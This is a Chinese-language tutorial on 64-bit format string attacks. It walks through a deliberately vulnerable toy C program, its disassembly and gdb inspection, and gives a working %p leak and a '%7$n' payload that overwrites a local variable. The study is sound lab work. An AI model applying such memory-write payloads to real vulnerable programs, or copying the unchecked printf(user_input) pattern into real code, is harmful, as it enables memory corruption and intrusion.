0x00 Format String攻击基础
- printf里的%n意味将之前输出的字符的个数输入到指定的参数里,比如
printf("aaa%n",&num);
此时num的值为3。
-
printf里的数字+$可以指定要输出第几个参数,比如:
int num1 = 1; int num2 = 2; printf("%2$d,%1$d\n",num1,num2);
输出为2,1。
-
本文实验环境为ubuntu 12.04,64bit,网上有一些32bit的攻击已经过时了。参考:how-to-use-format-string-attack。
0x01 实践
假设我们有这样一个c文件,名为fmt.c:
#include <stdio.h>
int main(void)
{
int flag = 0x1234567;
int *p = &flag;
printf("%p\n",p);
char a[100] = {1,2,3,4,5,6,7,8,9,10};
scanf("%s",a);
printf(a);
if(flag == 2000) {
printf("\ngood!!\n");
}
return 0;
}
我们需要使用format string攻击将flag改为2000,触发if语句。
首席使用gcc -g fmt.c编译,然后objdump -d a.out,得到如下的汇编文件:
000000000040064d <main>:
40064d: 55 push %rbp
40064e: 48 89 e5 mov %rsp,%rbp
400651: 53 push %rbx
400652: 48 81 ec 88 00 00 00 sub $0x88,%rsp ;rsp = rbp-0x88
400659: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
400660: 00 00
400662: 48 89 45 e8 mov %rax,-0x18(%rbp)
400666: 31 c0 xor %eax,%eax
400668: c7 85 74 ff ff ff 67 movl $0x1234567,-0x8c(%rbp)
40066f: 45 23 01
400672: 48 8d 85 74 ff ff ff lea -0x8c(%rbp),%rax ;rbp-0x8c = flag
400679: 48 89 85 78 ff ff ff mov %rax,-0x88(%rbp)
400680: 48 8b 85 78 ff ff ff mov -0x88(%rbp),%rax ;rbp-0x88 = &flag
400687: 48 89 c6 mov %rax,%rsi
40068a: bf c4 07 40 00 mov $0x4007c4,%edi
40068f: b8 00 00 00 00 mov $0x0,%eax
400694: e8 87 fe ff ff callq 400520 <printf@plt>
400699: 48 8d 55 80 lea -0x80(%rbp),%rdx
40069d: b8 00 00 00 00 mov $0x0,%eax
4006a2: b9 0c 00 00 00 mov $0xc,%ecx
4006a7: 48 89 d7 mov %rdx,%rdi
4006aa: f3 48 ab rep stos %rax,%es:(%rdi)
4006ad: 48 89 fa mov %rdi,%rdx
4006b0: 89 02 mov %eax,(%rdx)
4006b2: 48 83 c2 04 add $0x4,%rdx
4006b6: c6 45 80 01 movb $0x1,-0x80(%rbp) ;fill char a[100]
4006ba: c6 45 81 02 movb $0x2,-0x7f(%rbp)
4006be: c6 45 82 03 movb $0x3,-0x7e(%rbp)
4006c2: c6 45 83 04 movb $0x4,-0x7d(%rbp)
4006c6: c6 45 84 05 movb $0x5,-0x7c(%rbp)
4006ca: c6 45 85 06 movb $0x6,-0x7b(%rbp)
4006ce: c6 45 86 07 movb $0x7,-0x7a(%rbp)
4006d2: c6 45 87 08 movb $0x8,-0x79(%rbp)
4006d6: c6 45 88 09 movb $0x9,-0x78(%rbp)
4006da: c6 45 89 0a movb $0xa,-0x77(%rbp)
4006de: 48 8d 45 80 lea -0x80(%rbp),%rax
4006e2: 48 89 c6 mov %rax,%rsi
4006e5: bf c8 07 40 00 mov $0x4007c8,%edi
4006ea: b8 00 00 00 00 mov $0x0,%eax
4006ef: e8 5c fe ff ff callq 400550 <__isoc99_scanf@plt> ;scanf
4006f4: 48 8d 45 80 lea -0x80(%rbp),%rax
4006f8: 48 89 c7 mov %rax,%rdi
4006fb: b8 00 00 00 00 mov $0x0,%eax
400700: e8 1b fe ff ff callq 400520 <printf@plt> ;printf
400705: 8b 85 74 ff ff ff mov -0x8c(%rbp),%eax ;load value of flag
40070b: 3d d0 07 00 00 cmp $0x7d0,%eax ;load 2000
400710: 75 0a jne 40071c <main+0xcf> ;compare flag with 2000
400712: bf cb 07 40 00 mov $0x4007cb,%edi
400717: e8 e4 fd ff ff callq 400500 <puts@plt>
40071c: b8 00 00 00 00 mov $0x0,%eax
400721: 48 8b 5d e8 mov -0x18(%rbp),%rbx
400725: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
40072c: 00 00
40072e: 74 05 je 400735 <main+0xe8>
400730: e8 db fd ff ff callq 400510 <__stack_chk_fail@plt>
400735: 48 81 c4 88 00 00 00 add $0x88,%rsp
40073c: 5b pop %rbx
40073d: 5d pop %rbp
40073e: c3 retq
运行gdb a.out,然后b main->r->n,一直执行n直到scanf("%s",a);这句,执行x/20xw $rsp+4,得到如下输出:
0x7fffffffde14: 0x01234567 0xffffde14 0x00007fff 0x04030201
0x7fffffffde24: 0x08070605 0x00000a09 0x00000000 0x00000000
0x7fffffffde34: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffde44: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffde54: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到flag的值0x1234567存在$rsp+4的地方,而flag的地址(0xffffde14)则存在相邻的$rsp+8的地方。之后0x04030201,0x08070605,0x00000a09这三个恰好存的是数组a的值。
退出gdb,执行./a.out,输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.,得到输出:
0x7ffc81c92574
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7ff23a62a9f0.0x1.(nil).(nil).(nil).0x123456781c925a0.0x7ffc81c92574.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.之前我们打印了flag的地址,为0x7ffc81c92574(该值每次会变),输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.之后我们得到了用点(.)分割的几个值,注意第6个值为0x1234567,恰好为flag的值,与之相邻的第7个值恰好为flag的地址。所以我们只要将第7个值所表示的地址里的数变为2000即可。
echo `python -c "print('A' * 2000)"`%7\$n > text
cat text | ./a.out
输出:
0x7fff9052eda4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
good!!
Segmentation fault (core dumped)
至于为何是第7个值为flag的地址,这是因为进入printf函数是rsp又进行了sub,恰巧减了7个字长(64bit)的参数吧。
总结一下栈的状态:
printf(a)被调用前的栈图示。
printf(a)被调用时的栈图示。
0x02 一些细节
- 防止栈溢出
400659: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 400660: 00 00 400662: 48 89 45 e8 mov %rax,-0x18(%rbp)
这两句式从fs段里取一个数放在现在的栈底,可以看到main函数最后检查了这个值有没有改变(
__stack_chk_fail@plt
):400721: 48 8b 5d e8 mov -0x18(%rbp),%rbx 400725: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx 40072c: 00 00 40072e: 74 05 je 400735 <main+0xe8> 400730: e8 db fd ff ff callq 400510 <__stack_chk_fail@plt>
0x03 疑问
问:在dump文件中我们可以看到rsp的值为rbp-0x88,但是实际上rsp的值应该为rbp-0x90,不然rsp+4的值无法是flag存储的位置(rbp-0x8c),用gdb a.out,然后disp $rsp, disp $rbp也可以发现,rsp确实等于rbp-0x90,不知道dump文件为何是如此的。
3: $rsp = (void *) 0x7fffffffde10
2: $rbp = (void *) 0x7fffffffdea0
答:在gdb中使用layout asm:
0x40064d <main> push %rbp
0x40064d <main> push %rbp
0x40064e <main+1> mov %rsp,%rbp
0x400651 <main+4> push %rbx
0x400652 <main+5> sub $0x88,%rsp
0x400659 <main+12> mov %fs:0x28,%rax
0x400662 <main+21> mov %rax,-0x18(%rbp)
0x400666 <main+25> xor %eax,%eax
0x400668 <main+27> movl $0x1234567,-0x8c(%rbp)
0x400672 <main+37> lea -0x8c(%rbp),%rax
0x400679 <main+44> mov %rax,-0x88(%rbp)
0x400680 <main+51> mov -0x88(%rbp),%rax
0x400687 <main+58> mov %rax,%rsi
0x40068a <main+61> mov $0x4007c4,%edi
0x40068f <main+66> mov $0x0,%eax
0x400694 <main+71> callq 0x400520 <printf@plt>
0x400699 <main+76> lea -0x80(%rbp),%rdx
0x40069d <main+80> mov $0x0,%eax
0x4006a2 <main+85> mov $0xc,%ecx
0x4006a7 <main+90> mov %rdx,%rdi
然后下断点b *0x40064d,r之后用ni单步执行,发现在push %rbx
后rsp减了0x8,所以rbp之后只需要再减0x88即可。